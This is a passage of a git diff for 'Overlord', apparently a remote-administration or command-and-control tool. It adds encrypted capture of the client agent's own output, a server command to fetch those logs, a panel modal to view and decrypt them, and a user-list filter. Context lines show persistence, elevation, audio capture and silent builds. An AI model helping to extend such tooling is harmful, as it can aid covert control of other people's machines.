diff --git a/.gitignore b/.gitignore
index 827f6bf..4ea2da6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -515,4 +515,6 @@ FodyWeavers.xsd
save.txt
*.wasm
Albedo/*
-plink/*
\ No newline at end of file
+plink/*
+plugins/plink/*
+plugins/plink-static/*
\ No newline at end of file
diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go
index 576e232..67d0d48 100644
--- a/Overlord-Client/cmd/agent/config/config.go
+++ b/Overlord-Client/cmd/agent/config/config.go
@@ -33,6 +33,7 @@ var DefaultBuildTag = ""
var DefaultSleepSeconds = "0"
var DefaultCriticalProcess = "false"
var DefaultFetchPublicIP = "false"
+var DefaultSecureLogPublicKey = ""
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index bf1cf4f..4885daa 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -23,6 +23,7 @@ import (
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/securelog"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
@@ -2023,6 +2024,31 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
caps := audio.ProbeCapabilities()
payload, _ := json.Marshal(caps)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
+ case "client_logs_request":
+ payload := payloadAsMap(envelope["payload"])
+ sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"]))
+ limit := int(payloadNumberToInt64(payload["limit"]))
+ snap := securelog.SnapshotLogs(sinceSeq, limit)
+ entries := make([]wire.ClientLogEntry, 0, len(snap.Entries))
+ for _, entry := range snap.Entries {
+ entries = append(entries, wire.ClientLogEntry{
+ Seq: entry.Seq,
+ At: entry.At,
+ Source: entry.Source,
+ Blob: entry.Blob,
+ })
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{
+ Type: "client_logs_result",
+ CommandID: cmdID,
+ OK: snap.Enabled && snap.Error == "",
+ Entries: entries,
+ Dropped: snap.Dropped,
+ FromSeq: snap.FromSeq,
+ ToSeq: snap.ToSeq,
+ Enabled: snap.Enabled,
+ Error: snap.Error,
+ })
case "desktop_audio_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "system"
diff --git a/Overlord-Client/cmd/agent/log_silence_noprint.go b/Overlord-Client/cmd/agent/log_silence_noprint.go
index d4cb2a2..1bcc213 100644
--- a/Overlord-Client/cmd/agent/log_silence_noprint.go
+++ b/Overlord-Client/cmd/agent/log_silence_noprint.go
@@ -4,21 +4,10 @@
package main
import (
- "io"
- "log"
- "os"
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/securelog"
)
-var devNullFile *os.File
-
func init() {
- log.SetOutput(io.Discard)
-
- file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
- if err != nil {
- return
- }
- devNullFile = file
- os.Stdout = file
- os.Stderr = file
+ securelog.Install(config.DefaultSecureLogPublicKey)
}
diff --git a/Overlord-Client/cmd/agent/securelog/securelog.go b/Overlord-Client/cmd/agent/securelog/securelog.go
new file mode 100644
index 0000000..b330275
--- /dev/null
+++ b/Overlord-Client/cmd/agent/securelog/securelog.go
@@ -0,0 +1,17 @@
+package securelog
+
+type Entry struct {
+ Seq uint64 `msgpack:"seq" json:"seq"`
+ At int64 `msgpack:"at" json:"at"`
+ Source string `msgpack:"source" json:"source"`
+ Blob string `msgpack:"blob" json:"blob"`
+}
+
+type Snapshot struct {
+ Entries []Entry
+ Dropped uint64
+ FromSeq uint64
+ ToSeq uint64
+ Enabled bool
+ Error string
+}
diff --git a/Overlord-Client/cmd/agent/securelog/securelog_noprint.go b/Overlord-Client/cmd/agent/securelog/securelog_noprint.go
new file mode 100644
index 0000000..bf2da62
--- /dev/null
+++ b/Overlord-Client/cmd/agent/securelog/securelog_noprint.go
@@ -0,0 +1,263 @@
+//go:build noprint
+// +build noprint
+
+package securelog
+
+import (
+ "bufio"
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "crypto/rsa"
+ "crypto/sha256"
+ "crypto/x509"
+ "encoding/base64"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "os"
+ "strings"
+ "sync"
+ "sync/atomic"
+ "time"
+)
+
+const (
+ maxEntries = 2048
+ maxLineBytes = 64 * 1024
+ maxSnapshotCount = 512
+)
+
+type encryptedEnvelope struct {
+ V int `json:"v"`
+ Alg string `json:"alg"`
+ Seq uint64 `json:"seq"`
+ At int64 `json:"at"`
+ Source string `json:"source"`
+ WrappedKey string `json:"wrappedKey"`
+ Nonce string `json:"nonce"`
+ Ciphertext string `json:"ciphertext"`
+}
+
+type captureWriter struct {
+ source string
+}
+
+var (
+ mu sync.Mutex
+ entries []Entry
+ dropped uint64
+ seq uint64
+ enabled atomic.Bool
+ lastError atomic.Value
+ publicKey *rsa.PublicKey
+ originalOut *os.File
+ originalErr *os.File
+)
+
+func Install(publicKeyB64 string) {
+ if enabled.Load() {
+ return
+ }
+ originalOut = os.Stdout
+ originalErr = os.Stderr
+
+ key, err := parsePublicKey(publicKeyB64)
+ if err != nil {
+ setError(err.Error())
+ log.SetOutput(io.Discard)
+ redirectToNull()
+ return
+ }
+ publicKey = key
+ enabled.Store(true)
+
+ log.SetOutput(captureWriter{source: "log"})
+ log.SetFlags(log.LstdFlags)
+ redirectPipe("stdout", originalOut, func(f *os.File) { os.Stdout = f })
+ redirectPipe("stderr", originalErr, func(f *os.File) { os.Stderr = f })
+}
+
+func SnapshotLogs(sinceSeq uint64, limit int) Snapshot {
+ mu.Lock()
+ defer mu.Unlock()
+
+ if limit <= 0 || limit > maxSnapshotCount {
+ limit = maxSnapshotCount
+ }
+ out := make([]Entry, 0, min(limit, len(entries)))
+ for _, entry := range entries {
+ if entry.Seq <= sinceSeq {
+ continue
+ }
+ out = append(out, entry)
+ if len(out) >= limit {
+ break
+ }
+ }
+ var from, to uint64
+ if len(out) > 0 {
+ from = out[0].Seq
+ to = out[len(out)-1].Seq
+ }
+ return Snapshot{
+ Entries: out,
+ Dropped: dropped,
+ FromSeq: from,
+ ToSeq: to,
+ Enabled: enabled.Load(),
+ Error: currentError(),
+ }
+}
+
+func (w captureWriter) Write(p []byte) (int, error) {
+ record(w.source, p)
+ return len(p), nil
+}
+
+func redirectPipe(source string, mirror *os.File, assign func(*os.File)) {
+ reader, writer, err := os.Pipe()
+ if err != nil {
+ setError(fmt.Sprintf("%s pipe failed: %v", source, err))
+ redirectToNull()
+ return
+ }
+ assign(writer)
+ go readPipe(source, reader, mirror)
+}
+
+func readPipe(source string, reader *os.File, mirror *os.File) {
+ scanner := bufio.NewScanner(reader)
+ scanner.Buffer(make([]byte, 4096), maxLineBytes)
+ for scanner.Scan() {
+ record(source, append(scanner.Bytes(), '\n'))
+ }
+ if err := scanner.Err(); err != nil {
+ record("securelog", []byte(fmt.Sprintf("%s capture error: %v\n", source, err)))
+ }
+}
+
+func record(source string, raw []byte) {
+ if !enabled.Load() || publicKey == nil || len(raw) == 0 {
+ return
+ }
+ if len(raw) > maxLineBytes {
+ raw = append(raw[:maxLineBytes], []byte("\n[securelog] line truncated\n")...)
+ }
+ raw = bytes.TrimRight(raw, "\r\n")
+ if len(raw) == 0 {
+ return
+ }
+
+ nextSeq := atomic.AddUint64(&seq, 1)
+ now := time.Now().UnixMilli()
+ blob, err := encryptEntry(nextSeq, now, source, raw)
+ if err != nil {
+ setError(err.Error())
+ return
+ }
+
+ entry := Entry{Seq: nextSeq, At: now, Source: source, Blob: blob}
+ mu.Lock()
+ if len(entries) >= maxEntries {
+ copy(entries, entries[1:])
+ entries[len(entries)-1] = entry
+ dropped++
+ } else {
+ entries = append(entries, entry)
+ }
+ mu.Unlock()
+
+ mirrorEncrypted(entry)
+}
+
+func encryptEntry(seq uint64, at int64, source string, plaintext []byte) (string, error) {
+ aesKey := make([]byte, 32)
+ nonce := make([]byte, 12)
+ if _, err := rand.Read(aesKey); err != nil {
+ return "", err
+ }
+ if _, err := rand.Read(nonce); err != nil {
+ return "", err
+ }
+ block, err := aes.NewCipher(aesKey)
+ if err != nil {
+ return "", err
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", err
+ }
+ aad := []byte(fmt.Sprintf("%d:%d:%s", seq, at, source))
+ ciphertext := gcm.Seal(nil, nonce, plaintext, aad)
+ wrapped, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, aad)
+ if err != nil {
+ return "", err
+ }
+ env := encryptedEnvelope{
+ V: 1,
+ Alg: "RSA-OAEP-SHA256+A256GCM",
+ Seq: seq,
+ At: at,
+ Source: source,
+ WrappedKey: base64.StdEncoding.EncodeToString(wrapped),
+ Nonce: base64.StdEncoding.EncodeToString(nonce),
+ Ciphertext: base64.StdEncoding.EncodeToString(ciphertext),
+ }
+ jsonBytes, err := json.Marshal(env)
+ if err != nil {
+ return "", err
+ }
+ return base64.StdEncoding.EncodeToString(jsonBytes), nil
+}
+
+func mirrorEncrypted(entry Entry) {
+ if originalOut == nil {
+ return
+ }
+ _, _ = fmt.Fprintf(originalOut, "OVERLORD-SECURE-LOG v1 seq=%d source=%s %s\n", entry.Seq, entry.Source, entry.Blob)
+}
+
+func parsePublicKey(publicKeyB64 string) (*rsa.PublicKey, error) {
+ raw := strings.TrimSpace(publicKeyB64)
+ if raw == "" {
+ return nil, fmt.Errorf("secure log public key missing")
+ }
+ der, err := base64.StdEncoding.DecodeString(raw)
+ if err != nil {
+ return nil, fmt.Errorf("secure log public key decode failed: %w", err)
+ }
+ pub, err := x509.ParsePKIXPublicKey(der)
+ if err != nil {
+ return nil, fmt.Errorf("secure log public key parse failed: %w", err)
+ }
+ rsaPub, ok := pub.(*rsa.PublicKey)
+ if !ok {
+ return nil, fmt.Errorf("secure log public key is not RSA")
+ }
+ return rsaPub, nil
+}
+
+func redirectToNull() {
+ file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
+ if err != nil {
+ return
+ }
+ os.Stdout = file
+ os.Stderr = file
+}
+
+func setError(msg string) {
+ lastError.Store(msg)
+}
+
+func currentError() string {
+ if v := lastError.Load(); v != nil {
+ if s, ok := v.(string); ok {
+ return s
+ }
+ }
+ return ""
+}
diff --git a/Overlord-Client/cmd/agent/securelog/securelog_stub.go b/Overlord-Client/cmd/agent/securelog/securelog_stub.go
new file mode 100644
index 0000000..f269966
--- /dev/null
+++ b/Overlord-Client/cmd/agent/securelog/securelog_stub.go
@@ -0,0 +1,10 @@
+//go:build !noprint
+// +build !noprint
+
+package securelog
+
+func Install(_ string) {}
+
+func SnapshotLogs(_ uint64, _ int) Snapshot {
+ return Snapshot{Enabled: false, Error: "secure client logs are not enabled for this build"}
+}
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index b5b869e..c1b3387 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -67,6 +67,25 @@ type CommandResult struct {
Message string `msgpack:"message,omitempty"`
}
+type ClientLogEntry struct {
+ Seq uint64 `msgpack:"seq" json:"seq"`
+ At int64 `msgpack:"at" json:"at"`
+ Source string `msgpack:"source" json:"source"`
+ Blob string `msgpack:"blob" json:"blob"`
+}
+
+type ClientLogsResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ OK bool `msgpack:"ok"`
+ Entries []ClientLogEntry `msgpack:"entries,omitempty"`
+ Dropped uint64 `msgpack:"dropped,omitempty"`
+ FromSeq uint64 `msgpack:"fromSeq,omitempty"`
+ ToSeq uint64 `msgpack:"toSeq,omitempty"`
+ Enabled bool `msgpack:"enabled"`
+ Error string `msgpack:"error,omitempty"`
+}
+
type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index 7de7ca8..e131a3e 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -1783,6 +1783,100 @@ function escapeHtml(text) {
return div.innerHTML;
}
+function renderClientLogs(logs) {
+ if (!Array.isArray(logs) || logs.length === 0) {
+ return '
No secure logs returned.
';
+ }
+ return logs.map((entry) => {
+ const ts = entry.at ? new Date(entry.at).toLocaleString() : "";
+ const source = entry.source || "log";
+ return `
+
#${escapeHtml(entry.seq)} ${escapeHtml(source)} ${escapeHtml(ts)}
+
${escapeHtml(entry.text || "")}
+
`;
+ }).join("");
+}
+
+function openSecureLogsModal(clientId) {
+ const overlay = document.createElement("div");
+ overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60";
+ overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); });
+
+ const modal = document.createElement("div");
+ modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4";
+ modal.innerHTML = `
+
+
Secure Logs
+
+
+
+
+
+
+
+
+
+ `;
+ overlay.appendChild(modal);
+ document.body.appendChild(overlay);
+
+ const output = modal.querySelector(".secure-logs-output");
+ const meta = modal.querySelector(".secure-logs-meta");
+ const input = modal.querySelector(".secure-logs-input");
+ const fetchBtn = modal.querySelector(".secure-logs-fetch");
+ const decryptBtn = modal.querySelector(".secure-logs-decrypt");
+ modal.querySelector(".secure-logs-close")?.addEventListener("click", () => overlay.remove());
+
+ fetchBtn.addEventListener("click", async () => {
+ fetchBtn.disabled = true;
+ output.innerHTML = 'Requesting logs...
';
+ try {
+ const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/logs`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ limit: 200 }),
+ });
+ const data = await res.json().catch(() => ({}));
+ if (!res.ok || !data.ok) {
+ meta.textContent = data.clientError || data.error || "Secure logs request failed";
+ } else {
+ meta.textContent = `Entries ${data.fromSeq || 0}-${data.toSeq || 0}; dropped ${data.dropped || 0}`;
+ }
+ output.innerHTML = renderClientLogs(data.logs || []);
+ } catch (err) {
+ meta.textContent = err.message || "Secure logs request failed";
+ output.innerHTML = "";
+ } finally {
+ fetchBtn.disabled = false;
+ }
+ });
+
+ decryptBtn.addEventListener("click", async () => {
+ const blob = input.value.trim();
+ if (!blob) {
+ input.focus();
+ return;
+ }
+ decryptBtn.disabled = true;
+ output.innerHTML = 'Decrypting...
';
+ try {
+ const res = await fetch("/api/client-logs/decrypt", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ blob }),
+ });
+ const data = await res.json().catch(() => ({}));
+ meta.textContent = data.errors?.length ? `${data.errors.length} blob(s) could not decrypt` : "Offline blob decrypted";
+ output.innerHTML = renderClientLogs(data.logs || []);
+ } catch (err) {
+ meta.textContent = err.message || "Decrypt failed";
+ output.innerHTML = "";
+ } finally {
+ decryptBtn.disabled = false;
+ }
+ });
+}
+
window.banClient = async (clientId) => {
if (!clientId) return;
if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
@@ -2054,6 +2148,11 @@ menu.addEventListener("click", async (e) => {
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
closeMenu(clearContext);
return;
+ } else if (action === "secure-logs") {
+ const savedClientId = contextCard;
+ closeMenu(clearContext);
+ openSecureLogsModal(savedClientId);
+ return;
}
if (!isClientOnline(contextCard)) {
diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js
index 0d09d75..a0b177a 100644
--- a/Overlord-Server/public/assets/ui.js
+++ b/Overlord-Server/public/assets/ui.js
@@ -46,6 +46,7 @@ const MENU_GROUPS = [
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
+ { label: "Secure Logs", icon: "fa-solid fa-file-shield", icolor: "text-sky-300", action: "secure-logs" },
{ divider: true },
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js
index a1bf690..bd00fad 100644
--- a/Overlord-Server/public/assets/users.js
+++ b/Overlord-Server/public/assets/users.js
@@ -1,10 +1,12 @@
let currentUser = null;
let users = [];
+let onlyOwnUsers = localStorage.getItem("adminOnlyOwnUsers") === "1";
import { escapeHtml, formatDate } from "./format.js";
const usersTableBody = document.getElementById("users-table-body");
const addUserBtn = document.getElementById("add-user-btn");
+const ownUsersToggle = document.getElementById("own-users-toggle");
const userModal = document.getElementById("user-modal");
const modalTitle = document.getElementById("modal-title");
const userForm = document.getElementById("user-form");
@@ -78,6 +80,8 @@ async function getCurrentUser() {
alert("Access denied. Admin role required.");
window.location.href = "/";
}
+
+ renderUsers();
} else {
window.location.href = "/";
}
@@ -130,19 +134,24 @@ async function loadUsers() {
}
function renderUsers() {
- if (users.length === 0) {
+ const visibleUsers = getVisibleUsers();
+
+ if (visibleUsers.length === 0) {
+ const emptyMessage = onlyOwnUsers && users.length > 0
+ ? "No users created by you"
+ : "No users found";
usersTableBody.innerHTML = `
|
- No users found
+ ${emptyMessage}
|
`;
return;
}
- usersTableBody.innerHTML = users
+ usersTableBody.innerHTML = visibleUsers
.map(
(user) => `
@@ -275,6 +284,15 @@ function renderUsers() {
attachActionListeners();
}
+function getVisibleUsers() {
+ if (!onlyOwnUsers || !currentUser) return users;
+ return users.filter((user) => (
+ user.id === currentUser.userId ||
+ user.username === currentUser.username ||
+ user.created_by === currentUser.username
+ ));
+}
+
function getRoleBadge(role) {
const badges = {
admin:
@@ -378,6 +396,15 @@ addUserBtn.addEventListener("click", () => {
closeModal.addEventListener("click", hideModal);
cancelBtn.addEventListener("click", hideModal);
+if (ownUsersToggle) {
+ ownUsersToggle.checked = onlyOwnUsers;
+ ownUsersToggle.addEventListener("change", () => {
+ onlyOwnUsers = ownUsersToggle.checked;
+ localStorage.setItem("adminOnlyOwnUsers", onlyOwnUsers ? "1" : "0");
+ renderUsers();
+ });
+}
+
userForm.addEventListener("submit", async (e) => {
e.preventDefault();
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index fe01421..fb41c18 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -447,13 +447,13 @@
-